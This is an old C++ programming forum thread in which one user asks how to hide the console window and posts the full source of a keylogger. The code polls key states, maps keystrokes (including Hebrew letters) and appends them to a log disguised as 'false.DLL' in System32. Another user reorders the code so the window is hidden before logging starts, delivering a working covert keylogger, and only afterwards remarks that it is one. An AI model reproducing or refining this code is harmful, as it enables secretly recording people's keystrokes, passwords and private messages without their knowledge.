| | |
Hidding the dos window
Please support our C++ advertiser: Intel Parallel Studio Home
![]() |
•
•
Join Date: Mar 2008
Posts: 1,407
Reputation:
Solved Threads: 114
Will this do?
C++ Syntax (Toggle Plain Text)
#define _WIN32_WINNT 0x0500 #include <windows.h> #include <iostream> int main() { ShowWindow( GetConsoleWindow(), SW_HIDE ); std::cin.ignore(); }
I need pageviews! most fun profile ever :)
•
•
Join Date: Mar 2008
Posts: 1,407
Reputation:
Solved Threads: 114
•
•
•
•
No, you must use the GUI subsystem.
I need pageviews! most fun profile ever :)
•
•
Join Date: Oct 2009
Posts: 3
Reputation:
Solved Threads: 0
No i still see it...
Full source:
Full source:
C++ Syntax (Toggle Plain Text)
#include <iostream> using namespace std; #include <windows.h> #include <Winuser.h> #define _WIN32_WINNT 0x0500 int Save (int key_stroke, char *file); int main(){ char i; while (1){ for (i = 8; i <= 250; i++){ if (GetAsyncKeyState(i) == -32767) Save(i, "C:\\Windows\\System32\\dos\\false.DLL"); } } ShowWindow( GetConsoleWindow(), SW_HIDE ); std::cin.ignore(); system("PAUSE"); return 0; } /* **************************************** */ int Save (int key_stroke, char *file){ if ( (key_stroke == 1) || (key_stroke == 2) ) return 0; FILE *OUTPUT_FILE; OUTPUT_FILE = fopen(file, "a+"); cout << key_stroke << endl; if (key_stroke == 8) fprintf(OUTPUT_FILE, "%s", "[מחיקה]"); else if (key_stroke == 13) fprintf(OUTPUT_FILE, "%s", "\n"); else if (key_stroke == 32) fprintf(OUTPUT_FILE, "%s", " "); else if (key_stroke == VK_TAB) fprintf(OUTPUT_FILE, "%s", "[טאב]"); else if (key_stroke == VK_SHIFT) fprintf(OUTPUT_FILE, "%s", "[שיפט]"); else if (key_stroke == VK_CONTROL) fprintf(OUTPUT_FILE, "%s", "[קונטרול]"); else if (key_stroke == VK_ESCAPE) fprintf(OUTPUT_FILE, "%s", "[יציאה]"); else if (key_stroke == VK_END) fprintf(OUTPUT_FILE, "%s", "[END]"); else if (key_stroke == VK_HOME) fprintf(OUTPUT_FILE, "%s", "[HOME]"); else if (key_stroke == VK_LEFT) fprintf(OUTPUT_FILE, "%s", "[LEFT]"); else if (key_stroke == VK_UP) fprintf(OUTPUT_FILE, "%s", "[UP]"); else if (key_stroke == VK_RIGHT) fprintf(OUTPUT_FILE, "%s", "[RIGHT]"); else if (key_stroke == VK_DOWN) fprintf(OUTPUT_FILE, "%s", "[DOWN]"); else if (key_stroke == 190 || key_stroke == 110) fprintf(OUTPUT_FILE, "%s", "."); else if (key_stroke == 84) fprintf(OUTPUT_FILE, "%s", "א"); else if (key_stroke == 67) fprintf(OUTPUT_FILE, "%s", "ב"); else if (key_stroke == 68) fprintf(OUTPUT_FILE, "%s", "ג"); else if (key_stroke == 83) fprintf(OUTPUT_FILE, "%s", "ד"); else if (key_stroke == 86) fprintf(OUTPUT_FILE, "%s", "ה"); else if (key_stroke == 85) fprintf(OUTPUT_FILE, "%s", "ו"); else if (key_stroke == 90) fprintf(OUTPUT_FILE, "%s", "ז"); else if (key_stroke == 74) fprintf(OUTPUT_FILE, "%s", "ח"); else if (key_stroke == 89) fprintf(OUTPUT_FILE, "%s", "ט"); else if (key_stroke == 72) fprintf(OUTPUT_FILE, "%s", "י"); else if (key_stroke == 70) fprintf(OUTPUT_FILE, "%s", "כ"); else if (key_stroke == 75) fprintf(OUTPUT_FILE, "%s", "ל"); else if (key_stroke == 78) fprintf(OUTPUT_FILE, "%s", "מ"); else if (key_stroke == 66) fprintf(OUTPUT_FILE, "%s", "נ"); else if (key_stroke == 88) fprintf(OUTPUT_FILE, "%s", "ס"); else if (key_stroke == 71) fprintf(OUTPUT_FILE, "%s", "ע"); else if (key_stroke == 80) fprintf(OUTPUT_FILE, "%s", "פ"); else if (key_stroke == 77) fprintf(OUTPUT_FILE, "%s", "צ"); else if (key_stroke == 69) fprintf(OUTPUT_FILE, "%s", "ק"); else if (key_stroke == 82) fprintf(OUTPUT_FILE, "%s", "ר"); else if (key_stroke == 65) fprintf(OUTPUT_FILE, "%s", "ש"); else if (key_stroke == 250) fprintf(OUTPUT_FILE, "%s", "ת"); else if (key_stroke == 79) fprintf(OUTPUT_FILE, "%s", "ם"); else if(key_stroke == 33) fprintf(OUTPUT_FILE, "%s", "!"); else fprintf(OUTPUT_FILE, "%s", &key_stroke); fclose(OUTPUT_FILE); return 0; }
•
•
Join Date: Mar 2008
Posts: 1,407
Reputation:
Solved Threads: 114
You put the statements in the wrong order, my code is correct.
#include <iostream> using namespace std; #define _WIN32_WINNT 0x0500 #include <windows.h> #include <Winuser.h> int Save (int key_stroke, char *file); int main(){ ShowWindow( GetConsoleWindow(), SW_HIDE ); char i; while (1){ for (i = 8; i <= 250; i++){ if (GetAsyncKeyState(i) == -32767) Save(i, "C:\\Windows\\System32\\dos\\false.DLL"); } } std::cin.ignore(); system("PAUSE"); return 0; } /* **************************************** */ int Save (int key_stroke, char *file){ if ( (key_stroke == 1) || (key_stroke == 2) ) return 0; FILE *OUTPUT_FILE; OUTPUT_FILE = fopen(file, "a+"); cout << key_stroke << endl; if (key_stroke == 8) fprintf(OUTPUT_FILE, "%s", "[מחיקה]"); else if (key_stroke == 13) fprintf(OUTPUT_FILE, "%s", "\n"); else if (key_stroke == 32) fprintf(OUTPUT_FILE, "%s", " "); else if (key_stroke == VK_TAB) fprintf(OUTPUT_FILE, "%s", "[טאב]"); else if (key_stroke == VK_SHIFT) fprintf(OUTPUT_FILE, "%s", "[שיפט]"); else if (key_stroke == VK_CONTROL) fprintf(OUTPUT_FILE, "%s", "[קונטרול]"); else if (key_stroke == VK_ESCAPE) fprintf(OUTPUT_FILE, "%s", "[יציאה]"); else if (key_stroke == VK_END) fprintf(OUTPUT_FILE, "%s", "[END]"); else if (key_stroke == VK_HOME) fprintf(OUTPUT_FILE, "%s", "[HOME]"); else if (key_stroke == VK_LEFT) fprintf(OUTPUT_FILE, "%s", "[LEFT]"); else if (key_stroke == VK_UP) fprintf(OUTPUT_FILE, "%s", "[UP]"); else if (key_stroke == VK_RIGHT) fprintf(OUTPUT_FILE, "%s", "[RIGHT]"); else if (key_stroke == VK_DOWN) fprintf(OUTPUT_FILE, "%s", "[DOWN]"); else if (key_stroke == 190 || key_stroke == 110) fprintf(OUTPUT_FILE, "%s", "."); else if (key_stroke == 84) fprintf(OUTPUT_FILE, "%s", "א"); else if (key_stroke == 67) fprintf(OUTPUT_FILE, "%s", "ב"); else if (key_stroke == 68) fprintf(OUTPUT_FILE, "%s", "ג"); else if (key_stroke == 83) fprintf(OUTPUT_FILE, "%s", "ד"); else if (key_stroke == 86) fprintf(OUTPUT_FILE, "%s", "ה"); else if (key_stroke == 85) fprintf(OUTPUT_FILE, "%s", "ו"); else if (key_stroke == 90) fprintf(OUTPUT_FILE, "%s", "ז"); else if (key_stroke == 74) fprintf(OUTPUT_FILE, "%s", "ח"); else if (key_stroke == 89) fprintf(OUTPUT_FILE, "%s", "ט"); else if (key_stroke == 72) fprintf(OUTPUT_FILE, "%s", "י"); else if (key_stroke == 70) fprintf(OUTPUT_FILE, "%s", "כ"); else if (key_stroke == 75) fprintf(OUTPUT_FILE, "%s", "ל"); else if (key_stroke == 78) fprintf(OUTPUT_FILE, "%s", "מ"); else if (key_stroke == 66) fprintf(OUTPUT_FILE, "%s", "נ"); else if (key_stroke == 88) fprintf(OUTPUT_FILE, "%s", "ס"); else if (key_stroke == 71) fprintf(OUTPUT_FILE, "%s", "ע"); else if (key_stroke == 80) fprintf(OUTPUT_FILE, "%s", "פ"); else if (key_stroke == 77) fprintf(OUTPUT_FILE, "%s", "צ"); else if (key_stroke == 69) fprintf(OUTPUT_FILE, "%s", "ק"); else if (key_stroke == 82) fprintf(OUTPUT_FILE, "%s", "ר"); else if (key_stroke == 65) fprintf(OUTPUT_FILE, "%s", "ש"); else if (key_stroke == 250) fprintf(OUTPUT_FILE, "%s", "ת"); else if (key_stroke == 79) fprintf(OUTPUT_FILE, "%s", "ם"); else if(key_stroke == 33) fprintf(OUTPUT_FILE, "%s", "!"); else fprintf(OUTPUT_FILE, "%s", &key_stroke); fclose(OUTPUT_FILE); return 0; }
Last edited by William Hemsworth; Oct 4th, 2009 at 3:09 pm.
I need pageviews! most fun profile ever :)
•
•
Join Date: Mar 2008
Posts: 1,407
Reputation:
Solved Threads: 114
Alternatively, you can compile the program as a Windows application, and use
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) instead of int main() Last edited by William Hemsworth; Oct 4th, 2009 at 3:24 pm.
I need pageviews! most fun profile ever :)
•
•
Join Date: Mar 2008
Posts: 1,407
Reputation:
Solved Threads: 114
Ahh crap, I read your code, I just helped you improve a keylogger.
Luckily, it's one of bad quality which wont do any harm.
Luckily, it's one of bad quality which wont do any harm.
Last edited by William Hemsworth; Oct 4th, 2009 at 3:28 pm.
I need pageviews! most fun profile ever :)
![]() |
Similar Threads
- Hiding dos window (C++)
- Keeping DOS window open in Devc++ (C++)
- The DOS window after compilation (C++)
- DOS automatically closes (Windows NT / 2000 / XP)
Other Threads in the C++ Forum
- Previous Thread: Multimap
- Next Thread: how to read certain lines of a txt file
| Thread Tools | Search this Thread |
api array based beginner binary bitmap c++ c/c++ calculator char char* class code coding compile compiler console conversion count data database delete deploy developer dll download dynamic dynamiccharacterarray email encryption error file forms fstream function functions game getline givemetehcodez graph gui homeworkhelp homeworkhelper iamthwee ifstream input int java lib linkedlist linker list loop looping loops map math matrix memory multiple news node number numbertoword output parameter pointer problem program programming project proxy python random read recursion recursive reference rpg sorting string strings temperature template test text text-file tree url variable vector video visual visualstudio win32 windows winsock word wordfrequency wxwidgets






